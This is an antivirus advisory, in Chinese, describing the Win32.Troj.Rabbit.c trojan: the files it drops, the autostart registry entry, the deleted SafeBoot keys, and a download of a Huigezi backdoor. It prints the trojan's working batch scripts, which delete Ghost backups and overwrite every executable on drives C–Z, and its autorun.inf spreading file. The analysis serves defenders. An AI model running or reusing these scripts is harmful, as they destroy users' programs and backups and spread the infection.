Win32.Troj.Rabbit.c
病毒别名： 处理时间：2007-04-14 威胁级别：★
中文名称： 病毒类型：木马 影响系统：Win 9x/ME,Win 2000/NT,Win XP,Win 2003
病毒行为:
该病毒是一个木马。该病毒会直接替换系统盘program files和其他盘目录下的exe文件文件和删除gho备份文件，同时该病毒还有下载并运行一灰鸽子病毒。
1、生成的文件
%SystemRoot%system32loveRabbit~.exe
%SystemRoot%system32MS006TZ.dll.exe
%SystemRoot%system32Rabbit.exe
%SystemRoot%ILTZ.bat
%SystemRoot%IOTZ.bat
%SystemRoot%DLL.bat
%SystemRoot%GHO.bat
%SystemRoot%ILTZ.inf
%SystemRoot%system32JK~.exe
%SystemRoot%system32msexch400.dll
%SystemRoot%system32sha~.bat
%C:%Rabbit.exe
%C:%AutoRun.inf
2、添加启动项
HKLMSOFTWAREMicrosoftActive SetupInstalled Components\
"StubPath" = "%SystemRoot%system32JK~.exe"
3、删除以下键：
SYSTEMCurrentControlSetControlSafeBootMinimal
SYSTEMCurrentControlSetControlSafeBootNetwork
4、执行%SystemRoot%ILTZ.bat文件，将d到z盘的exe文件路径记录在ILTZ.inf文件，将c盘到z盘的ghost备份文件路径记录到GHO.inf文件和将系统盘下program files目录下的exe文件路径记录在IOTZ.inf文件
---------------------------------------------------------
set /A r=%random%
FOR %%a in ( d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: s: y: z: ) do dir /s /b %%a*.exe >>%windir%ILTZ.inf
FOR %%a in ( c: d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: s: y: z: ) do dir /a:- /b %%a*.gho>>%windir%GHO.inf
cd %windir%
cd..
cd Program Files
dir *.exe /s /b >>%windir%IOTZ.inf
IOTZ.bat
GHO.bat
----------------------------------------------------------
5、执行GHO.bat，IOTZ.bat文件删除GHO.inf里指定的路径的gho文件和替换ILTZ.inf，IOTZ.inf指定路径的exe文件
GHO.bat >
----------------------------------------------------------------
FOR /f "delims=" %%i in (%windir%GHO.inf) do del /a:- "%%i"
----------------------------------------------------------------
IOTZ.bat >
------------------------------------------------------------------------------------------
FOR /f "delims=" %%i in (%windir%ILTZ.inf) do copy /y %windir%system32Rabbit.exe "%%i"
FOR /f "delims=" %%i in (%windir%IOTZ.inf) do copy /y %windir%system32Rabbit.exe "%%i"
------------------------------------------------------------------------------------------
6、在c，d，e，f，g，h盘里生成autorun启动
------------------------------------
[autorun]
Label=本地磁盘
Shellexecute=Rabbit.exe
------------------------------------
7、下载并执行http://www.beecool.***/help.htm脚本，该脚本会下执行载最新版变种和一灰鸽子木马。